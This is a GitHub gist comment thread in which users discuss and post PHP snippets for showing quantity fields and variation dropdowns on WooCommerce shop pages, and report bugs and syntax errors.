Copy link

DNAOnline commented Nov 1, 2018

Any chance this code could include not showing variations that are out of stock in the drop down?

@PolVales

This comment has been minimized.

Copy link

PolVales commented Nov 16, 2018

Thank you for your solution!
It's only a problem, the clear variations is not working. When you pick any variations, it change all predefined variations.

Thanks

@karthikw3cert

This comment has been minimized.

Copy link

karthikw3cert commented Feb 25, 2019

Nandri Sago...

Great Solution for my Issue...

@jgroeier

This comment has been minimized.

Copy link

jgroeier commented Aug 2, 2019

Hi, This is working for me but is it also possible to do it with AJAX add to cart?

@jgroeier

This comment has been minimized.

Copy link

jgroeier commented Aug 2, 2019

I am using this code for my simple products to AJAX add to cart:

//Ajax add to cart
add_filter( 'woocommerce_loop_add_to_cart_link', 'quantity_inputs_for_loop_ajax_add_to_cart', 10, 2 );
function quantity_inputs_for_loop_ajax_add_to_cart( $html, $product ) {
    if ( $product && $product->is_type( 'simple' ) && $product->is_purchasable() && $product->is_in_stock() && ! $product->is_sold_individually() ) {
        // Get the necessary classes
        $class = implode( ' ', array_filter( array(
            'button',
            'product_type_' . $product->get_type(),
            $product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
            $product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : '',
        ) ) );

        // Adding embeding <form> tag and the quantity field
        $html = sprintf( '%s%s<a rel="nofollow" href="%s" data-quantity="%s" data-product_id="%s" data-product_sku="%s" class="%s">%s</a>%s',
            '<form class="cart">',
            woocommerce_quantity_input( array(), $product, false ),
            esc_url( $product->add_to_cart_url() ),
            esc_attr( isset( $quantity ) ? $quantity : 1 ),
            esc_attr( $product->get_id() ),
            esc_attr( $product->get_sku() ),
            esc_attr( isset( $class ) ? $class : 'button' ),
            esc_html( $product->add_to_cart_text() ),
            '</form>'
        );
    }
    return $html;
}
@santanup789

This comment has been minimized.

Copy link

santanup789 commented Feb 14, 2020

In if condition the button text is not coming properly.
Screenshot_2020-02-14 Donate - FUSECHANGE

So I changed the code in few lines. And the else part is not working in some places. So changed it too. But i didn't make it globally. I made a snippet for a single category and paste it in that snippet.

           `<?php if( $product->is_type( 'variable' )) { wp_enqueue_script('wc-add-to-cart-variation');
		  $attribute_keys = array_keys( $product->get_variation_attributes() );
		  ?>
		  <form class="variations_form cart" method="post" enctype='multipart/form-data' data-product_id="<?php echo absint( $product->id ); ?>" data-product_variations="<?php echo htmlspecialchars( json_encode( $product->get_available_variations() ) ) ?>">
			<?php do_action( 'woocommerce_before_variations_form' ); ?>
			<?php if ( empty( $product->get_available_variations() ) && false !== $product->get_available_variations() ) : ?>
			  <p class="stock out-of-stock">
				<?php _e( 'This product is currently out of stock and unavailable.', 'woocommerce' ); ?>
			  </p>
			<?php else : ?>
			  <table class="variations" cellspacing="0">
				<tbody>
				  <?php foreach ( $product->get_variation_attributes() as $attribute_name => $options ) : ?>
				  <tr>
					<td class="label"><label for="<?php echo sanitize_title( $attribute_name ); ?>"><?php echo wc_attribute_label( $attribute_name ); ?></label></td>
					<td class="value">
					  <?php
						$selected = isset( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ? wc_clean( urldecode( $_REQUEST[ 'attribute_' . sanitize_title( $attribute_name ) ] ) ) : $product->get_variation_default_attribute( $attribute_name );
						wc_dropdown_variation_attribute_options( array( 'options' => $options, 'attribute' => $attribute_name, 'product' => $product, 'selected' => $selected ) );
					  ?>
					</td>
				  </tr>
				  <?php endforeach;?>
				</tbody>
			  </table>
			<div class="single_variation_wrap">
				<?php $result = woocommerce_single_variation_add_to_cart_button();?> 
			</div>
			  <?php do_action( 'woocommerce_after_add_to_cart_button' ); ?>
			<?php endif; ?>
			<?php do_action( 'woocommerce_after_variations_form' ); ?>
		  </form>
		  <?php } else {
			do_action( 'woocommerce_before_add_to_cart_form' ); ?>
			<form class="cart" action="<?php echo esc_url( apply_filters( 'woocommerce_add_to_cart_form_action', $product->get_permalink() ) ); ?>" method="post" enctype='multipart/form-data'>
				<?php do_action( 'woocommerce_before_add_to_cart_button' ); ?>
				<?php
				do_action( 'woocommerce_before_add_to_cart_quantity' );
				woocommerce_quantity_input( array(
					'min_value'   => apply_filters( 'woocommerce_quantity_input_min', $product->get_min_purchase_quantity(), $product ),
					'max_value'   => apply_filters( 'woocommerce_quantity_input_max', $product->get_max_purchase_quantity(), $product ),
					'input_value' => isset( $_POST['quantity'] ) ? wc_stock_amount( wp_unslash( $_POST['quantity'] ) ) : $product->get_min_purchase_quantity(), // WPCS: CSRF ok, input var ok.
				) );
				do_action( 'woocommerce_after_add_to_cart_quantity' );
				?>
				<button type="submit" name="add-to-cart" value="<?php echo esc_attr( $product->get_id() ); ?>" class="single_add_to_cart_button button alt xx"><?php echo esc_html( $product->add_to_cart_text() ); ?></button>
				<?php do_action( 'woocommerce_after_add_to_cart_button' ); ?>
			</form>
			<?php do_action( 'woocommerce_after_add_to_cart_form' );
		} ?>`

And the final result in 'if condition' is's so satisfying.. just see
Screenshot_2020-02-14 Donate - FUSECHANGE(1)

Similar feeling in else part..
Screenshot_2020-02-14 Donate - FUSECHANGE(2)

All fields are dynamic. I developed one kind of donation system using woocommerce. And this code helped me to solved my issue.
Thanks a lot man.

@sssperling

This comment has been minimized.

Copy link

sssperling commented Mar 11, 2020

I used the code and it sort of works it puts the attribute (days needed) but it won't show the values it's just blank the options are 1 day, 2 day, weekend week. Any suggestions on a fix? Has anyone else had this issue?

Screen Shot 2020-03-11 at 11 15 55 AM

@santanup789

This comment has been minimized.

Copy link

santanup789 commented Mar 11, 2020

@sssperling

This comment has been minimized.

Copy link

sssperling commented Mar 11, 2020

santanup789 . Thanks I did try your code too, I got errors when I used it the error I received is "syntax error, unexpected '' (T_ENCAPSED_AND_WHITESPACE), expecting '-' or identifier (T_STRING) or variable (T_VARIABLE) or number (T_NUM_STRING)"
Not sure what I would cross check, sorry for the stupid question.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.